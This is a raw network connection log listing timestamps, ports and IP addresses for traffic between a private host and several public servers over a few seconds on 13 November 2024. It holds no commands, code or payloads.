Nov 13, 2024 14:41:11.986967087 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:11.987027884 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:11.987042904 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:11.987054110 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:11.987071991 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:11.987086058 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:11.987266064 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:11.987395048 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:11.987440109 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:11.987560034 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:11.987572908 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:11.987586021 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:11.987596989 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:11.987598896 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:11.987605095 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:11.987618923 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:11.987623930 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:11.987623930 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:11.987626076 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:11.987658024 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:11.987796068 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:11.987807035 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:11.987839937 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:11.987867117 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:11.991758108 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:11.991801977 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:11.991813898 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:11.991831064 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:11.991857052 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:11.996629953 CET	49700	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.028655052 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:12.028677940 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:12.028687954 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:12.028717041 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:12.028738022 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:12.028978109 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:12.029028893 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:12.039321899 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.221889973 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.221954107 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.221997976 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.222027063 CET	49700	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.222049952 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.222074986 CET	49700	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.222107887 CET	49700	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.245533943 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.245587111 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.245623112 CET	49700	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.245631933 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.245675087 CET	49700	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.340672970 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.340742111 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.340775967 CET	49700	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.340799093 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.340821028 CET	49700	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.340850115 CET	49700	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.364221096 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.364274979 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.364306927 CET	49700	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.364340067 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.364353895 CET	49700	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.364379883 CET	49700	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.365248919 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.365298033 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.365312099 CET	49700	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.365320921 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.365344048 CET	49700	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.365364075 CET	49700	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.460289001 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.460342884 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.460472107 CET	49700	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.460484982 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.460526943 CET	49700	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.482611895 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.482661009 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.482697010 CET	49700	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.482707024 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.482734919 CET	49700	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.482755899 CET	49700	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.483977079 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.484019041 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.484055996 CET	49700	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.484064102 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.484105110 CET	49700	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.484105110 CET	49700	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.581979990 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.582035065 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.582078934 CET	49700	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.582087994 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.582098007 CET	49700	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.582943916 CET	49700	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.601059914 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.601113081 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.601141930 CET	49700	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.601150990 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.601169109 CET	49700	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.601197004 CET	49700	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.602094889 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.602139950 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.602159977 CET	49700	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.602169037 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.602193117 CET	49700	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.602217913 CET	49700	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.713130951 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.713186026 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.713221073 CET	49700	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.713238001 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.713249922 CET	49700	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.713267088 CET	49700	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.723464966 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.723519087 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.723555088 CET	49700	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.723567009 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.723608971 CET	49700	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.723683119 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.723745108 CET	49700	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.723752975 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.723788977 CET	49700	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.723849058 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.723892927 CET	49700	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.723912954 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.723922968 CET	49700	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.723928928 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.723937035 CET	49700	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.723941088 CET	443	49700	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.763818979 CET	49701	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.763878107 CET	443	49701	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.763961077 CET	49701	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.765516996 CET	49702	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.765557051 CET	443	49702	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.765621901 CET	49702	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.765960932 CET	49701	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.765984058 CET	443	49701	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.771384001 CET	49702	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.771392107 CET	443	49702	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.773236990 CET	49703	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.773283958 CET	443	49703	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.773353100 CET	49703	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.773473978 CET	49703	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.773474932 CET	49704	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.773487091 CET	443	49703	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.773513079 CET	443	49704	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.773574114 CET	49704	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.773662090 CET	49704	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.773672104 CET	443	49704	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.774461031 CET	49705	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.774490118 CET	443	49705	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:12.774544001 CET	49705	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.774699926 CET	49705	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:12.774709940 CET	443	49705	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.492995977 CET	443	49703	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.493484974 CET	49703	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:13.493518114 CET	443	49703	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.493889093 CET	49703	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:13.493901014 CET	443	49703	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.503153086 CET	443	49704	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.503626108 CET	49704	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:13.503645897 CET	443	49704	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.504066944 CET	49704	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:13.504072905 CET	443	49704	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.504518032 CET	443	49705	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.504798889 CET	49705	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:13.504815102 CET	443	49705	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.505142927 CET	49705	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:13.505146980 CET	443	49705	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.531739950 CET	443	49701	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.532238960 CET	49701	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:13.532274008 CET	443	49701	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.532601118 CET	49701	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:13.532607079 CET	443	49701	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.621105909 CET	443	49703	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.621126890 CET	443	49703	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.621186972 CET	443	49703	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.621232986 CET	49703	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:13.621292114 CET	49703	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:13.621526003 CET	49703	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:13.621571064 CET	443	49703	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.621598959 CET	49703	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:13.621614933 CET	443	49703	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.624717951 CET	49706	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:13.624769926 CET	443	49706	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.624870062 CET	49706	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:13.625032902 CET	49706	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:13.625051975 CET	443	49706	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.629060030 CET	443	49704	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.629117966 CET	443	49704	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.629167080 CET	49704	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:13.629179001 CET	443	49704	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.629245043 CET	443	49704	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.629296064 CET	49704	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:13.629333973 CET	49704	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:13.629345894 CET	443	49704	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.629359007 CET	49704	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:13.629364014 CET	443	49704	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.631575108 CET	49707	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:13.631608963 CET	443	49707	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.631680965 CET	49707	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:13.631812096 CET	49707	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:13.631824970 CET	443	49707	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.635602951 CET	443	49705	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.635834932 CET	443	49705	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.635893106 CET	49705	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:13.635929108 CET	49705	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:13.635940075 CET	443	49705	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.635947943 CET	49705	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:13.635952950 CET	443	49705	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.638003111 CET	49708	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:13.638027906 CET	443	49708	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.638098001 CET	49708	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:13.638217926 CET	49708	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:13.638232946 CET	443	49708	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.667567015 CET	443	49701	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.667601109 CET	443	49701	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.667674065 CET	443	49701	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.667716026 CET	49701	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:13.667764902 CET	49701	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:13.667937040 CET	49701	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:13.667968988 CET	443	49701	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.667996883 CET	49701	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:13.668011904 CET	443	49701	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.670808077 CET	49709	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:13.670841932 CET	443	49709	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.670909882 CET	49709	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:13.671044111 CET	49709	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:13.671056986 CET	443	49709	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.854275942 CET	443	49702	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.854732037 CET	49702	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:13.854747057 CET	443	49702	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.855302095 CET	49702	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:13.855308056 CET	443	49702	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.985970974 CET	443	49702	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.986243963 CET	443	49702	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.986294985 CET	49702	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:13.994102001 CET	49702	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:13.994142056 CET	443	49702	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:13.994154930 CET	49702	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:13.994160891 CET	443	49702	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.042927980 CET	49710	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:14.042964935 CET	443	49710	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.043124914 CET	49710	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:14.043821096 CET	49710	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:14.043837070 CET	443	49710	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.356024027 CET	49677	443	192.168.2.7	20.50.201.200
Nov 13, 2024 14:41:14.385186911 CET	443	49707	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.387546062 CET	443	49708	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.387836933 CET	49707	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:14.387847900 CET	443	49707	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.388303041 CET	49707	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:14.388308048 CET	443	49707	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.393007040 CET	49708	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:14.393029928 CET	443	49708	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.393448114 CET	49708	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:14.393455029 CET	443	49708	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.395620108 CET	443	49706	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.395947933 CET	49706	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:14.395961046 CET	443	49706	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.396392107 CET	49706	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:14.396398067 CET	443	49706	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.402384043 CET	443	49709	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.402739048 CET	49709	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:14.402761936 CET	443	49709	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.403166056 CET	49709	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:14.403171062 CET	443	49709	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.521500111 CET	443	49708	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.521600962 CET	443	49707	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.521663904 CET	443	49708	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.521728992 CET	443	49707	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.521737099 CET	49708	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:14.521791935 CET	49707	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:14.521929026 CET	49707	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:14.521929026 CET	49707	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:14.521955967 CET	443	49707	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.521970034 CET	443	49707	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.523145914 CET	49708	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:14.523159027 CET	443	49708	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.523195028 CET	49708	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:14.523200989 CET	443	49708	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.531352997 CET	443	49709	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.531980038 CET	443	49709	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.532053947 CET	49709	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:14.534759045 CET	49709	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:14.534773111 CET	443	49709	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.534806967 CET	49709	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:14.534811974 CET	443	49709	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.548033953 CET	49711	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:14.548058987 CET	443	49711	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.548135042 CET	49711	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:14.549503088 CET	49711	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:14.549518108 CET	443	49711	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.549675941 CET	49712	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:14.549721956 CET	443	49712	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.549777031 CET	49712	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:14.550036907 CET	49712	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:14.550051928 CET	443	49712	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.550509930 CET	49713	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:14.550543070 CET	443	49713	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.550739050 CET	49713	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:14.551089048 CET	49713	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:14.551104069 CET	443	49713	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.608458042 CET	443	49706	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.609714031 CET	443	49706	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.609785080 CET	49706	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:14.643034935 CET	49706	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:14.643059969 CET	443	49706	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.643071890 CET	49706	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:14.643078089 CET	443	49706	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.676990032 CET	49715	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:14.677021027 CET	443	49715	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.677088976 CET	49715	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:14.716090918 CET	49715	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:14.716109991 CET	443	49715	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.778650999 CET	443	49710	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.785099983 CET	49710	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:14.785099983 CET	49710	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:14.785132885 CET	443	49710	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.785173893 CET	443	49710	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.911371946 CET	443	49710	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.911478996 CET	443	49710	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.911524057 CET	49710	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:14.929908037 CET	49710	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:14.929908037 CET	49710	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:14.929934025 CET	443	49710	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.929944992 CET	443	49710	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.930645943 CET	49718	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:14.930697918 CET	443	49718	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:14.930769920 CET	49718	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:14.933783054 CET	49718	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:14.933799982 CET	443	49718	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:14.974697113 CET	49719	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:14.974741936 CET	443	49719	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:14.974855900 CET	49719	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:14.976927996 CET	49719	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:14.976948977 CET	443	49719	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:15.285691977 CET	443	49712	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:15.286015987 CET	443	49713	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:15.295090914 CET	443	49711	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:15.300693035 CET	49712	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:15.300713062 CET	443	49712	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:15.301073074 CET	49712	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:15.301090002 CET	443	49712	13.107.246.44	192.168.2.7
